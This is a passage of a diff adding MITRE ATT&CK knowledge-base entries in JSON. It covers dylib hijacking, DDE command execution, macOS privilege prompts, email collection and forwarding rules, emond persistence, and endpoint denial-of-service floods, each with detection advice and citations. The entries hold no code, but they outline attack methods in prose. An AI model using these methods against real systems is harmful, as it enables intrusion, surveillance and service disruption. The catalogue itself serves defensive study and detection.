"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "SaaS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + { + "external_id": "T1189", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1189" + }, + { + "source_name": "Shadowserver Strategic Web Compromise", + "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.", + "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/" + }, + { + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "source_name": "Volexity OceanLotus Nov 2017", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + } + ], + "modified": "2019-10-11T22:45:51.970Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "File monitoring" + ], + "name": "Dylib Hijacking", + "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.", + "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_effective_permissions": [ + "Administrator", + "root" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1157", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1157" + }, + { + "source_name": "capec", + "external_id": "CAPEC-471", + "url": "https://capec.mitre.org/data/definitions/471.html" + }, + { + "source_name": "Writing Bad Malware for OSX", + "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", + "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" + } + ], + "modified": "2019-07-17T19:54:05.549Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Dynamic Data Exchange", + "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.", + "x_mitre_remote_support": false, + "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1173", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1173" + }, + { + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" + }, + { + "source_name": "Microsoft ADV170021 Dec 2017", + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + }, + { + "source_name": "Microsoft DDE Advisory Nov 2017", + "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", + "url": "https://technet.microsoft.com/library/security/4053440" + }, + { + "source_name": "SensePost PS DDE May 2016", + "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.", + "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/" + }, + { + "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.", + "source_name": "Kettle CSV DDE Aug 2014", + "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities" + }, + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + }, + { + "source_name": "SensePost MacroLess DDE Oct 2017", + "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.", + "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/" + }, + { + "source_name": "NVisio Labs DDE Detection Oct 2017", + "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.", + "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/" + } + ], + "modified": "2019-07-24T17:34:38.321Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "API monitoring" + ], + "name": "Elevated Execution with Prompt", + "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", + "id": "attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Erika Noerenberg, @gutterchurl, Carbon Black", + "Jimmy Astle, @AstleJimmy, Carbon Black" + ], + "created": "2019-08-08T14:29:37.108Z", + "x_mitre_effective_permissions": [ + "root" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1514", + "url": "https://attack.mitre.org/techniques/T1514" + }, + { + "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.", + "source_name": "AppleDocs AuthorizationExecuteWithPrivileges", + "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg" + }, + { + "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.", + "source_name": "Death by 1000 installers; it's all broken!", + "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8" + }, + { + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "source_name": "Carbon Black Shlayer Feb 2019", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + }, + { + "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.", + "source_name": "OSX Coldroot RAT", + "url": "https://objective-see.com/blog/blog_0x2A.html" + } + ], + "modified": "2019-09-17T15:16:01.415Z" + }, + { + "x_mitre_data_sources": [ + "Office 365 trace logs", + "Mail server", + "Email gateway", + "Authentication logs", + "File monitoring", + "Process monitoring", + "Process use of network" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Email Collection", + "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific key words.(Citation: Black Hills MailSniper, 2017)\n\n### Email Forwarding Rule\n\nAdversaries may also abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: TIMMCMIC, 2014)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. ", + "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" + ], + "created": "2017-05-31T21:31:25.454Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1114", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1114" + }, + { + "description": "Bullock, B.. (2017, April 21). Abusing Exchange Mailbox Permissions with MailSniper. Retrieved October 4, 2019.", + "source_name": "Black Hills MailSniper, 2017", + "url": "https://www.blackhillsinfosec.com/abusing-exchange-mailbox-permissions-mailsniper/" + }, + { + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "source_name": "US-CERT TA18-068A 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + }, + { + "description": "Search Results Web Result with Site Links Tim McMichael. (2014, July 28). Exchange and Office 365: Mail Forwarding. Retrieved August 27, 2019.", + "source_name": "TIMMCMIC, 2014", + "url": "https://blogs.technet.microsoft.com/timmcmic/2014/07/28/exchange-and-office-365-mail-forwarding/" + }, + { + "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", + "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", + "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" + } + ], + "modified": "2019-10-08T20:59:13.652Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_data_sources": [ + "File monitoring", + "API monitoring" + ], + "name": "Emond", + "description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.", + "id": "attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ivan Sinyakov" + ], + "created": "2019-09-19T14:07:11.734Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1519", + "url": "https://attack.mitre.org/techniques/T1519" + }, + { + "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.", + "source_name": "xorrior emond Jan 2018", + "url": "https://www.xorrior.com/emond-persistence/" + }, + { + "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.", + "source_name": "magnusviri emond Apr 2016", + "url": "http://www.magnusviri.com/Mac/what-is-emond.html" + }, + { + "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", + "source_name": "sentinelone macos persist Jun 2019", + "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" + } + ], + "modified": "2019-10-16T21:50:02.245Z" + }, + { + "x_mitre_data_sources": [ + "SSL/TLS inspection", + "Web logs", + "Web application firewall logs", + "Network intrusion detection system", + "Network protocol analysis", + "Network device logs", + "Netflow/Enclave netflow" + ], + "name": "Endpoint Denial of Service", + "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see the Network Denial of Service Technique [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n\n### OS Exhaustion Flood\nSince operating systems (OSs) are responsible for managing the finite resources on a system, they can be a target for DoS. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018)\n\n#### SYN Flood\nWith SYN floods excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\n#### ACK Flood\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)\n\n### Service Exhaustion Flood\nDifferent network services provided by systems are targeted in different ways to conduct a DoS. Adversaries often target DNS and web servers, but other services have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\n#### Simple HTTP Flood\nA large number of HTTP requests can be issued to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\n#### SSL Renegotiation Attack\nSSL Renegotiation Attacks take advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)\n\n### Application Exhaustion Flood\nWeb applications that sit on top of web server stacks can be targeted for DoS. Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)\n\n### Application or System Exploitation\nSoftware vulnerabilities exist that when exploited can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.", + "id": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-18T11:00:55.862Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1499", + "url": "https://attack.mitre.org/techniques/T1499" + }, + { + "source_name": "capec", + "external_id": "CAPEC-227", + "url": "https://capec.mitre.org/data/definitions/227.html" + }, + { + "source_name": "capec", + "external_id": "CAPEC-131", + "url": "https://capec.mitre.org/data/definitions/131.html" + }, + { + "source_name": "capec", + "external_id": "CAPEC-130", + "url": "https://capec.mitre.org/data/definitions/130.html" + }, + { + "source_name": "capec", + "external_id": "CAPEC-125", + "url": "https://capec.mitre.org/data/definitions/125.html" + }, + { + "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019.", + "source_name": "FireEye OpPoisonedHandover February 2016", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html" + }, + { + "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.", + "source_name": "FSISAC FraudNetDoS September 2012", + "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf" + }, + { + "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.", + "source_name": "Symantec DDoS October 2014", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf" + }, + { + "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.", + "source_name": "USNYAG IranianBotnet March 2016", + "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged" + }, + { + "description": "Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.", + "source_name": "ArsTechnica Great Firewall of China", + "url": "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/" + }, + { + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "source_name": "Arbor AnnualDoSreport Jan 2018", + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf" + }, + { + "description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.", + "source_name": "Cloudflare SynFlood", + "url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/" + }, + { + "description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019.", + "source_name": "Corero SYN-ACKflood", + "url": "https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html" + }, + { + "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.", + "source_name": "Cloudflare HTTPflood", + "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/" + }, + { + "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.", + "source_name": "Arbor SSLDoS April 2012", + "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new" + }, + { + "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019.", + "source_name": "Sucuri BIND9 August 2015", + 